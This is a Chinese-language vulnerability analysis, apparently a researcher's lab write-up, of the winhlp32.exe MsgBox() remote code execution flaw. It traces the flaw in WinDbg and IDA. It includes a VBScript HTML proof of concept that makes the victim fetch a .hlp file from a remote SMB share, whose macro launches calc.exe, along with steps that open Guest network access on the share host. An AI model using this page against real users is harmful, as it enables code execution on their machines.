winhlp32.exe MsgBox() Remote Code Execution

时间:2022-03-17 07:13:56

  目的是为了了解漏洞执行的流程。

根据资料准备服务端环境:

  用一台win7当做是服务器,需要在win7上共享一个文件夹用于客户端访问。我的测试环境共享的文件夹是www。

  (1)启用Guest来宾账户,共享文件夹时将Guest添加读权限。此时在win7本机上应能访问,但在局域网的XP虚拟机无法访问  \\192.168.0.11\www\

  (2)运行 secpol.msc 打开本地安全策略->本地策略->用户权限分配->拒绝从网络访问此计算机->去掉Guest   此时XP虚拟机可以访问共享文件

  (3)在www目录放置test.hlp文件和html文件提供给客户端访问

html文件内容大致如下

<html> <body> <script type="text/vbscript"> big = "\\192.168.0.11\www\test.hlp" //For i=1 to 2500 // big = big & "\..\" //Next MsgBox "please press F1 to save the world", ,"please save the world",big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 </script> </body> </html>

搜索vbscript MsgBox相关资料

  MsgBox(prompt[,buttons][,title][,helpfile,context])

参数helpfile可以指定对话框提供上下文相关帮助的帮助文件,那么就是按下F1时,访问了远程指定的hlp文件

先大致看一眼hlp文件内容,发现了调用了calc.exe

winhlp32.exe MsgBox() Remote Code Execution

2、客户端测试

打开IE,并用windbg attach进程,然后访问html页面并在弹出MsgBox时,按下F1出来下面的情况:

winhlp32.exe MsgBox() Remote Code Execution

根据现象,似乎创建了一个新进程,可以通过ProcessHacker工具的Log查看,或者直接观察任务管理器,进一步确认后,给CreateProcess下断定位漏洞流程。

bp kernel32!CreateProcessW       

按下F1,断下后查看函数参数,执行了"C:\WINDOWS\winhlp32 -x",创建winhlp32.exe。 但却没有发现和"\\192.168.0.11\www\test.hlp"相关的信息

再查看函数调用堆栈

winhlp32.exe MsgBox() Remote Code Execution


观察WinHelpA、FindWinHelpWindow、LaunchHelp这重要函数。

根据IDA的分析     BOOL __stdcall WinHelpA(HWND hWndMain, LPCSTR lpszHelp, UINT uCommand, ULONG_PTR dwData) 

先给WinHelpA下断

bp USER32!WinHelpA 运行后,重新按F1后断下根据栈上的参数确认了lpszHelp变量指向了"\\192.168.0.11\www\test.hlp" 

IDA中F5反汇编USER32!WinHelpA 函数跟踪lpszHelp变量,发现只有HFill 函数操作了这个变量。跟进HFill函数分析。

HFill函数分配内存,复制lpszHelp到该内存的偏移0x10处。

__stdcall HFill(LPCSTR lpszHelp, USHORT uCommand, ULONG_PTR dwData) { if(lpszHelp != 0) { int len = strlen(lpszHelp) + 1;//ebx int s1 = 0;//esi; if(dwData != NULL) { loc_77D4762E BYTE tmp = (arg_4>>8&)0xFF; if(tmp != 1) { if(tmp == 2)s1 = *arg_8; }else{ loc_77D47643 } LPBYTE p = LocalAlloc(0x40,s1 + len + 0x10 );//分配内存 if(p != NULL) { *(WORD *)(p+2) = uCommand; *(WORD *)p = 0; *(DWORD *)(p+8) = 0; if(lpszHelp != NULL) { *(WORD *)(p+0xC) = 0x10; strcpy((p+0x10),lpszHelp);//复制lpszHelp到分配的内存偏移0x10处 }else{ *(WORD *)(p+0xC) = 0; } if(tmp!= 1 && s1 != 0) { loc_77D47682 }else if(tmp == 2 && s1 != 0){ loc_77D4765E }else{ *(DWORD *)(p+4) = dwData; } loc_77D3EE2F *(WORD *)(p+0xE) = dx; return p;//返回了分配的地址 }else{ loc_77D47657 } } }else{ loc_77D3EE3A } }

在WinHelpA函数剩下的流程中,FindWinHelpWindow  根据上面的调用堆栈知道该函数创建了winhlp32进程,并返回了窗口句柄。

winhlp32.exe MsgBox() Remote Code Execution

SendWinHelpMessage发送消息码为0x38的消息并将HFill函数分配的内存作为lParam。

为了调试新创建的进程执行 .childdbg 1命令进行子进程调试,运行断下后

winhlp32.exe MsgBox() Remote Code Execution

根据左下角的1表示断在了新进程中。

因为SendMessage发送的不是队列消息,所以要找到窗口的消息回调函数。一般消息回调函数都会调用默认的处理函数DefWindowProc

IDA分析winhlp32.exe,并在导入表中定位默认消息回调函数DefWindowProc,ctrl+x交叉引用找到引用的位置 。定位到了比较有可能是消息回调函数的HelpWndProc

winhlp32.exe MsgBox() Remote Code Execution

到达HelpWndProc后,继续F5反汇编定位到了这段代码

经确认消息码确实是0x38。下断bp winhlp32!HelpWndProc ".if(poi(esp+8) != 0x38){g}" ,断下后跟进DispatcherProc

用pct命令对实际执行的函数,跳过不重要的函数,定位到了调用_GenerateMessage(0x407u, 0, (LPARAM)v24); 该函数发送了消息码0x407,参数v24包含hlp路径

重新查看HelpWndProc对0x407的处理,定位到

因为hlp文件会创建计算器进程,再对CreateProcessW下断,定位流程,断下后查看函数调用堆栈

winhlp32.exe MsgBox() Remote Code Execution

ShellExecuteA这个的功能是运行一个外部程序。猜测应该是打开了计算器,重新下断调试进行确认  

winhlp32进程创建后, bp SHELL32!ShellExecuteA

那就表示此时已经在执行hlp文件的内容了,再定位winhlp32!Execute下断查看参数

根据IDA的分析 ; int __stdcall Execute(LPCSTR lpString2) 发现参数lpString2为hlp文件的内容 "EF("C:\\WINDOWS\\calc.exe",`‘,1) "。

再定位上层函数ConfigMacrosHde   用IDA进行反汇编

winhlp32.exe MsgBox() Remote Code Execution

可以看出ConfigMacrosHde函数的作用就是循环读取hlp的内容并由Execute函数负责执行。

继续定位上层函数 FReplaceCloneHde,重新调试,创建winhlp32.exe进行进程时 ,对FReplaceCloneHde下断
bp winhlp32!FReplaceCloneHde

F5对上层函数ExecAPI 反汇编 可以知道FReplaceCloneHde 参数1是一个字符串指针,参数2是指向help文件路径字符串指针的指针

F5对FReplaceCloneHde进行反汇编,ConfigMacrosHde的数据来自v38,而v38来自于HCreate ,,v5就是参数2 ppHelp指向hlp文件的指针的指针